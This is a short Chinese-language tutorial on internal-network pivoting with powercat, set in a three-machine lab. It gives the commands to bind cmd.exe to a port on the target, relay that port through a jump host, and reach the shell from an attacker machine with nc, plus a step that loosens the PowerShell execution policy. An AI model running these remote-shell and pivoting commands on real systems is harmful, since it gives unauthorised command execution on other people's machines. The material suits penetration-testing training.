内网渗透----powercat工具使用

一、环境准备

1.1 设备准备

使用powercat进行端口转发，我们需要三台设备

• 靶机，ip: 192.168.0.100
• 跳板机，ip:192.168.248.144
• 攻击机，ip:192.168.248.201

1.2 软件准备

powercat下载地址


以管理员身份运行poweshell
然后执行命令

set-executionpolicy remotesigned #接着输入y回车 允许导入脚本

然后执行

Import-module E:\securityTools\powercat-master\powercat.ps1 #导入powercat

二、使用方法

靶机上执行

powercat -l -v -p 7777 -e cmd.exe

将自己的cmd.exe转发到自己的7777端口，等待别人来连接

---

跳板机上执行

powercat -l -v -p 8888 -r tcp:192.168.0.100:7777

访问靶机的7777端口获得cmd.exe，然后转发给本机的8888端口

---

攻击机上执行

nc -v 192.168.248.144 8888

连接跳板机的8888端口获得靶机的cmd.exe